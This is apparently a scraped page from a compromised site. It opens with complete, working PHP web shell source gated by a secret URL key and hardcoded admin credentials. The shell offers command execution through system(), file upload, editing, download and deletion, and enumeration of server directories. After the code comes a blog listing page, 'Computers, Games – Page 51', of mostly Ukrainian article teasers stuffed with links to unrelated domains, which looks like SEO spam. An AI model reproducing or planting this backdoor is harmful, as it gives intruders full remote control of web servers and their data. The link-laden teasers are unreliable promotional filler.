if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 51 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Екологічний маркетинг: як “зелені” ініціативи впливають на продажі

    Екологічний маркетинг став ключовим елементом стратегії багатьох сучасних компаній, які прагнуть не лише збільшити свої продажі, а й зробити внесок у збереження навколишнього середовища. У світі, де екологічні проблеми стають дедалі більш актуальними, споживачі все частіше віддають перевагу брендам, https://profitlab.in.ua які демонструють відповідальність і прагнення до сталого розвитку. Ця стаття розглядає, як “зелені” ініціативи впливають…

    Click or not…

  • Світ інновацій: нове обладнання в провідних клініках світу

    У сучасному світі медичні технології розвиваються з неймовірною швидкістю, https://clinicworld.org.ua і провідні клініки по всьому світу активно впроваджують новітнє обладнання для покращення якості медичних послуг. Інновації в медицині не тільки підвищують ефективність лікування, але й забезпечують пацієнтам більший комфорт і безпеку. У цьому звіті ми розглянемо деякі з найновіших технологій, які використовуються в клініках, а…

    Click or not…

  • Прогноз розвитку ринку ритейлу на наступний квартал

    У наступному кварталі ринок ритейлу в Україні демонструє ознаки поступового відновлення після періоду нестабільності, викликаного економічними та політичними чинниками. Згідно з останніми даними, очікується, що ринок ритейлу зросте на 5-7% у порівнянні з попереднім кварталом. Цей прогноз ґрунтується на аналізі поточних тенденцій, https://businessguide.in.ua поведінки споживачів та змін у макроекономічній ситуації. По-перше, важливим фактором, що вплине…

    Click or not…

  • Автоспорт: швидкість, адреналін та технології

    Автоспорт – це не просто спорт, а цілий світ, https://wheelexpert.net.ua де швидкість, адреналін та технології переплітаються в неймовірному танці. Від перших гонок на вулицях міст до сучасних Формули-1, автоспорт еволюціонував у щось величне, що захоплює мільйони людей по всьому світу. Цей зв’язок між людиною і машиною, між гонщиком і трасою, створює унікальну атмосферу, де кожна…

    Click or not…

  • Чому інвестиції в нерухомість залишаються надійним активом

    Інвестиції в нерухомість традиційно вважаються одним з найнадійніших і найбільш стабільних способів збереження та примноження капіталу. Незважаючи на коливання ринку, економічні кризи та інші виклики, https://clinicworld.org.ua попит на нерухомість залишається стабільним, що робить цей вид інвестицій привабливим для багатьох інвесторів. У цьому звіті розглянемо кілька ключових причин, чому інвестиції в нерухомість залишаються надійним активом. По-перше,…

    Click or not…

  • Юридичні аспекти купівлі-продажу нерухомості в Україні

    Купівля-продаж нерухомості в Україні є складним процесом, що вимагає ретельного дотримання законодавчих норм та процедур. Цей процес регулюється Цивільним кодексом України, Законом України “Про регулювання містобудівної діяльності”, https://remontdigest.org.ua а також іншими нормативно-правовими актами. У даному звіті розглянемо основні юридичні аспекти, які необхідно враховувати при здійсненні угод купівлі-продажу нерухомості. Перш за все, важливо зазначити, що для…

    Click or not…

  • Гідроізоляція: захист від вологи та плісняви

    Гідроізоляція є важливим елементом у будівництві та ремонті, https://housejournal.net.ua оскільки вона захищає будівлі та споруди від негативного впливу вологи. Волога може призвести до серйозних проблем, таких як руйнування матеріалів, появи плісняви та грибка, а також до зниження енергоефективності. У цій статті розглянемо основні аспекти гідроізоляції, її види, матеріали та методи застосування. Основною метою гідроізоляції є…

    Click or not…

  • Вибір воріт для гаража: типи, матеріали та автоматика

    Вибір воріт для гаража є важливим етапом у проектуванні або ремонті гаражного приміщення. Ворота не лише забезпечують безпеку автомобіля, але й впливають на загальний вигляд будівлі. У цій статті розглянемо основні типи гаражних воріт, їх матеріали та автоматизацію, https://enginefocus.org.ua що допоможе зробити правильний вибір. Типи гаражних воріт Підйомні ворота: Цей тип воріт складається з одного…

    Click or not…

  • How to Spot and Avoid Moving Scams in the United States

    Moving can be an exciting yet stressful experience, especially when it involves relocating to a new home. Unfortunately, the moving industry is not immune to scams, which can lead to financial loss and emotional distress. Understanding how to spot and avoid moving scams is crucial for americanhomejournals.com anyone planning a move in the United States.…

    Click or not…

  • Moving to the Suburbs vs Staying in the City: Pros and Cons

    The decision to move to the suburbs or stay in the city is a significant one that many individuals and families face. Each option comes with its own set of advantages and disadvantages, which can greatly impact lifestyle, https://urbanatlasmedia.com finances, and overall satisfaction. This report outlines the pros and cons of both living environments to…

    Click or not…